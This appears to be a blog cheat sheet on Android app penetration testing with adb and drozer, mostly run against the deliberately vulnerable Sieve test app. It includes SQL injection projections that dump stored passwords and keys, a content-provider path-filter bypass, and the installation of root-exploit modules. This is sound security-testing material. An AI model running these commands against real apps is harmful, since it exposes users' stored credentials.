adb and drozer usage examples
adb http://developer.android.com/tools/help/adb.html
drozer https://labs.mwrinfosecurity.com/tools/drozer/
Create your very first Android emulator (emulator too slow, run native on rooted device)
$ android sdk
create a KitKat emulator by running the Android Virtual Device (AVD) Manager
$ android avd
List available AVDs for emulator
$ emulator -list-avds Nexus5 Nexus4 kitkat
Start emulator
$ emulator -avd kitkat
adb to emulator
List connected devices
$ adb devices
Get shell on device
$ adb -s device_id shell
Install an Android app
$ adb install tmp/my.apk
Forward a TCP port on the local host to a port on the device
$ adb forward tcp:<local_port> tcp:<device_port>
Device logs
$ adb logcat
adb to hardware
If you try to access a new physical phone using adb you will see this message
$ adb shell error: insufficient permissions for device
Figure out the phones manufacturer ID
$ lsusb
Bus 002 Device 030: ID 0bb4:0ced HTC (High Tech Computer Corp.)
Change udev permission in linux for hardware (phone)
Create a new udev rule file, add a rule for obb4
# vi /etc/udev/rules.d/51-android.rules SUBSYSTEM=="usb", ATTR{idVendor}=="0bb4", MODE="0666", GROUP="plugdev"
Restart udev and remove, insert phone
# /etc/init.d/udev restart
Accept permission on phone to allow access from adb
Check adb permission
$ adb devices List of devices attached HT24LW309683 device
Installing drozer
Install drozer by git clone and python setup.py install. This method worked best for me on Kali 2
Download drozer agent from site https://github.com/mwrlabs/drozer
git clone https://github.com/mwrlabs/drozer
Add jdk 1.6.0 and dx to path
$ vi .bashrc export PATH="/home/user/projects/jdk1.6.0_45/bin:/home/user/Android/Sdk/build-tools/23.0.2:$PATH:/home/user/Android/Sdk/platform-tools:/home/user/Android/Sdk/tools:/home/user/projects/drozer/src/drozer/lib"
Install agent on emulator or physical device
$ adb install agent.apk
Need to forward drozer ports
$ adb forward tcp:31415 tcp:31415
Start drozer agent on device or emulator and flick ‘On’ switch
Run drozer console
$ drozer console connect
Install new drozer modules
dz> module install root Processing metall0id.root.cmdclient... Done. Processing metall0id.root.exynosmem... Done. Processing metall0id.root.huaweip2... Done. Processing metall0id.root.mmap... Done. Processing metall0id.root.scanner_check... Done. Processing metall0id.root.towelroot... Done. Processing metall0id.root.ztesyncagent... Done. Successfully installed 7 modules, 0 already installed.
Example how to open a browser from drozer
dz> run app.activity.start --action android.intent.action.VIEW --data-uri http://www.google.com --component com.android.browser com.android.browser.BrowserActivity
Querying the system settings
dz> run app.provider.query content://settings/system
list apk from adb shell
root@generic:/ # pm list packages |grep myapp package:com.myapp
or using drozer
dz> run app.package.info -a com.myapp Package: com.myapp Application Label: Myapp Process Name: com.myapp Version: 1.1 Data Directory: /data/data/com.myapp APK Path: /data/app/com.myapp-1.apk UID: 10053 GID: [...] Shared Libraries: null Shared User ID: null Uses Permissions: - android.permission.INTERNET - android.permission.ACCESS_NETWORK_STATE - android.permission.WRITE_EXTERNAL_STORAGE - android.permission.READ_EXTERNAL_STORAGE - android.permission.READ_PHONE_STATE ... Defines Permissions: - com.myapp.permission.RECEIVE_ADM_MESSAGE - com.myapp.permission.UA_DATA
root@generic:/ # ls -la /data/data/*myapp lrwxrwxrwx install install 2016-03-28 17:02 lib -> /data/app-lib/com.myapp-1
Shared userid
dz> run app.package.shareduid -u 10053 UID: 10053 (com.myapp) Package: com.myapp Permissions: android.permission.GET_TASKS, android.permission.READ_PHONE_STATE, android.permission.CHANGE_WIFI_STATE, android.permission.ACCESS_FINE_LOCATION, android.permission.WRITE_SETTINGS, android.permission.CAMERA, android.permission.WAKE_LOCK, android.permission.GET_ACCOUNTS, ...
Use drozer to search for a pack by its label
dz> run app.package.list -f "Terminal Emulator" dz> run app.package.list -f "myapp" com.myapp (myapp)
Get path of apk
127|root@generic:/ # pm path com.myapp package:/data/app/com.myapp-1.apk
Dowload and install apks outside of Google Playstore, but look out for malware
https://apkpure.com/search?
Dump manifest file from apk using aapt
user@kali:~$ aapt dump xmltree ./myapp.apk AndroidManifest.xml N: android=http://schemas.android.com/apk/res/android N: amazon=http://schemas.amazon.com/apk/res/android E: manifest (line=2) A: android:versionCode(0x0101021b)=(type 0x10)0x5 REDACTED …
Convert apk back to jar
$ ./d2j-dex2jar.sh /path/to/agent.apk -o /output/to/agent.jar
Apktool to reverse-engineer an entire Android package back to a workable form
Download apktool from http://ibotpeaches.github.io/Apktool/install/
user@kali:~$ java -jar /usr/bin/apktool_2.1.0.jar d myapp.apk -o myapp-apktool.output I: Using Apktool 2.1.0 on myapp.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: /home/user/apktool/framework/1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Baksmaling classes.dex... I: Copying assets and libs... I: Copying unknown files... I: Copying original files...
Look for application exported components
user@kali:~$ grep -C 3 exported myapp/myapp-drozer.manifest … <provider name="com.someappProvider" permission="com.myapp.permission.UA_DATA" exported="true" multiprocess="true" authorities="com.myapp.provider"> </provider> …
Implicitly Exported
Any component that makes use of an <intent-filter> is exported by default.
user@kali:~$ grep -C 3 intent-filter myapp-drozer.manifest |head label="@21314274324" name="com.myapp.Activity" screenOrientation="1"> <intent-filter> <action name="android.intent.action.MAIN"> </action> <category name="android.intent.category.LAUNCHER"> </category> </intent-filter>
Using drozer
dz> run app.package.attacksurface com.myapp Attack Surface: 3 activities exported 2 broadcast receivers exported 2 content providers exported 0 services exported is debuggable
dz> run app.provider.info -a com.myapp Package: com.myapp Authority: com.myapp.someapp.provider Read Permission: com.myapp.permission.UA_DATA Write Permission: com.myapp.permission.UA_DATA Content Provider: com.someapp.Provider Multiprocess Allowed: True Grant Uri Permissions: False
dz> run app.activity.info -a com.myapp Package: com.myapp com.myapp.Activity Permission: null com.myapp.inbox.InboxActivity Permission: null com.myapp.preference.PushPreferencesActivity Permission: null com.myapp.ParseDeepLinkActivity Permission: null
dz> run app.broadcast.info -a com.myapp Package: com.myapp com.google.android.gcm.GCMBroadcastReceiver Permission: com.google.android.c2dm.permission.SEND com.myapp.util.IncomingCall Permission: null com.someotherapp.main.Receiver Permission: null com.myapp.widget.RichPushWidgetProvider Permission: null com.someapp.push.PushReceiver Permission: com.google.android.c2dm.permission.SEND com.someapp.push.PushReceiver Permission: com.amazon.device.messaging.permission.SEND
Applications signed with same certificate can access this service
dz> run information.permissions --permission com.myapp.permission.UA_DATA No description 2 – signature
Intent matching is kind of like mime type matching.
Three categories of filtering exist, Action, Data, and Category.
Sieve is a test app which is made available with drozer.
Sieve assessment example
dz> run app.package.attacksurface com.mwr.example.sieve Attack Surface: 3 activities exported 0 broadcast receivers exported 2 content providers exported 2 services exported is debuggable
There are three main attack surface categories to look for in an Android app
- activities (screens used by the app)
- content providers (database objects)
- services (background workers)
dz> run app.activity.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity Permission: null com.mwr.example.sieve.MainLoginActivity Permission: null com.mwr.example.sieve.PWList Permission: null
dz> run app.package.launchintent com.mwr.example.sieve Launch Intent: Action: android.intent.action.MAIN Component: {com.mwr.example.sieve/com.mwr.example.sieve.MainLoginActivity} Data: null Categories: - android.intent.category.LAUNCHER Flags: [ACTIVITY_NEW_TASK] Mime Type: null Extras: null
Starting an app’s activity (view)
dz> run app.activity.start --component <package_name> <full_activity_name>
becomes
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
Providers (database)
dz> run app.provider.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Authority: com.mwr.example.sieve.DBContentProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.DBContentProvider Multiprocess Allowed: True Grant Uri Permissions: False Path Permissions: Path: /Keys Type: PATTERN_LITERAL Read Permission: com.mwr.example.sieve.READ_KEYS Write Permission: com.mwr.example.sieve.WRITE_KEYS Authority: com.mwr.example.sieve.FileBackupProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.FileBackupProvider Multiprocess Allowed: True Grant Uri Permissions: False
drozer can automatically assess possible providers
dz> run scanner.provider.finduris -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Unable to Query content://com.mwr.example.sieve.DBContentProvider/ ... Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys Accessible content URIs: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/
Again looking for activities but -u option provides more info. ‘null’ indicates not protected.
dz> run app.activity.info -a com.mwr.example.sieve -u Package: com.mwr.example.sieve Exported Activities: com.mwr.example.sieve.FileSelectActivity Permission: null com.mwr.example.sieve.MainLoginActivity Permission: null com.mwr.example.sieve.PWList Permission: null Hidden Activities: com.mwr.example.sieve.SettingsActivity Permission: null com.mwr.example.sieve.AddEntryActivity Permission: null com.mwr.example.sieve.ShortLoginActivity Permission: null com.mwr.example.sieve.WelcomeActivity Permission: null com.mwr.example.sieve.PINActivity Permission: null
Call UI settings
root@generic:/ # am start -n com.mwr.example.sieve/.SettingsActivity
Unprotected Content Providers
Can processes access insights data store (provider)?
dz> run app.provider.info -a com.myapp
Accessing the content provider.
dz> run app.provider.finduri com.myapp Scanning com.myapp... content://com.google.android.gms.games content://com.myapp.someapp.provider
Do we have permission to access an apps provider? dz> run app.provider.query content://com.myapp.someapp.provider Permission Denial: opening provider com.someapp.Provider from ProcessRecord{b2032700 1002:com.mwr.dz:remote/u0a54} (pid=1002, uid=10054) requires com.myapp.permission.UA_DATA or com.myapp.permission.UA_DATA
Insert data into Sieve’s provider
dz> run app.provider.insert content://com.mwr.example.sieve.DBContentProvider/Passwords --integer _id 3 --string service Facebook --string username tyrone --string password zA76WR9mURDNNEw4TUiidVKRuKLEamg5h84T --string email tyrone@gmail.com
Run a query
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords | _id | service | username | password | email | | 1 | service1 | username | GJq0ZqHvADw4Ep3vCXk4TG3rahc18N/D (Base64-encoded) | myemail@domain.com | | 3 | Facebook | tyrone | zA76WR9mURDNNEw4TUiidVKRuKLEamg5h84T | tyrone@gmail.com |
SQL injection
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "* from sqlite_master--" | type | name | tbl_name | rootpage | sql | | table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) | | table | Passwords | Passwords | 4 | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) | | table | Key | Key | 5 | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT ) | | index | sqlite_autoindex_Key_1 | Key | 6 | null
And again
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "* from Key--" | Password | pin | | 1234567890abcdef | 1234 |
Key was provider path which relates to table name
Using drozer module to discover sqlinjection vuln.
dz> run scanner.provider.injection -a content://com.mwr.example.sieve.DBContentProvider/Passwords Not Vulnerable: No non-vulnerable URIs found. Injection in Projection: content://com.mwr.example.sieve.DBContentProvider/Passwords Injection in Selection: content://com.mwr.example.sieve.DBContentProvider/Passwords
Providers can be protected with path filtering. Sieve uses filtering with /Keys but replacing this with /Keys/ bypasses filter.
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ | Password | pin | | Thisismylongpassword123 | 1234 |
Exported services
dz> run app.service.info -a com.myapp Package: com.myapp No exported services.
Search for unprotected broadcast receivers
dz> run app.broadcast.info -a com.myapp Package: com.myapp <REDACTED>
Verify an apk’s cert using jarsigner
user@kali:~$ jarsigner -certs -verbose -verify myapp.apk > myapp_cert-verify.txt
Or use keytool on extracted cert
user@kali:~/$ keytool -printcert -file META-INF/CERT.RSA Owner: CN=something, OU=something, O=something, L=something, ST=something, C=something Issuer: CN=else, OU=else, O=, L=, ST=, C= Serial number: 434324 Valid from: Sun Jan 03 22:00:12 PDT 2012 until: Mon May 11 11:11:11 PDT 2014 Certificate fingerprints: MD5: REDACTED SHA1: REDACTED Signature algorithm name: SHA256withRSA Version: 3 Extensions: #1: ObjectId: 2.5.29.14 Criticality=false SubjectKeyIdentifier [ KeyIdentifier [ 0000: REDACTED ] ]
Or you can use openssl
user@kali:~/$ openssl pkcs7 -inform DER -in META-INF/CERT.RSA -
List all installed packages
dz> run app.package.list -p android.permission.INSTALL_PACKAGES com.android.vending (Google Play Store) com.android.shell (Shell) ...
Can you backup the app to an SD card?
dz> run app.package.backup -f com.myapp Package: com.myapp UID: 10022 Backup Agent: null API Key: Unknown
And
user@kali:~$ adb backup com.myapp Now unlock your device and confirm the backup operation.
Backup will be on the SD card so use adb pull command to retrieve.
Then need to convert ab file to tar format for easy extraction
user@kali:~/$ dd if=backup.ab bs=1 skip=24 | python -c "import zlib,sys; sys.stdout.write(zlib.decompress(sys.stdin.read()))" > backup.tar
Is the apk debuggable?
dz> run app.package.debuggable Package: com.mwr.dz UID: 10115 Permissions: - android.permission.INTERNET
or
dz> run exploit.jdwp.check [-] @jdwp-control already in use [*] Possible reasons for failure: # USB debugging is enabled # Port is still open from previous attempt
Decompiling
- Code review jar files with JD-GUI
- APK Studio is a nice gui which will decompile, edit and recompile.
- Reversing an apk can be accomplished using apktoolMake sure you have Java sdk greater than 1.7.x. On my system my default java was pointing to version 1.6.x because of drozer’s dependency so I had ensure apktool was invoked with the absolute path of the correct java version
$ /usr/bin/java -jar /usr/bin/apktool.jar d myapp.apk -f
Traffic Capture
Packet capture using tcpdump. -s 0 prevents packet truncation.
# tcpdump -s 0 -w /data/local/tmp/dump.cap
Web traffic
Configure an Android device to proxy web traffic
Configure Android to use a proxy
and
Start gui app from adbStart gui app from adb shell
Values obtained from apk manifest file
com.mypackage = package
com.myapp.ui.activity.SplashActivity = activity android name (search for android.intent.action.MAIN)
# am start -n com.mypackage /com.myapp.ui.activity.SplashActivity
References
The mobile application hacker’s handbook
Attacking Android Applications With Debuggers
Linux distro images
TODO:
If I have time I’ll do a proper write up of an actual Android app assessment with detailed methodology.
Thank you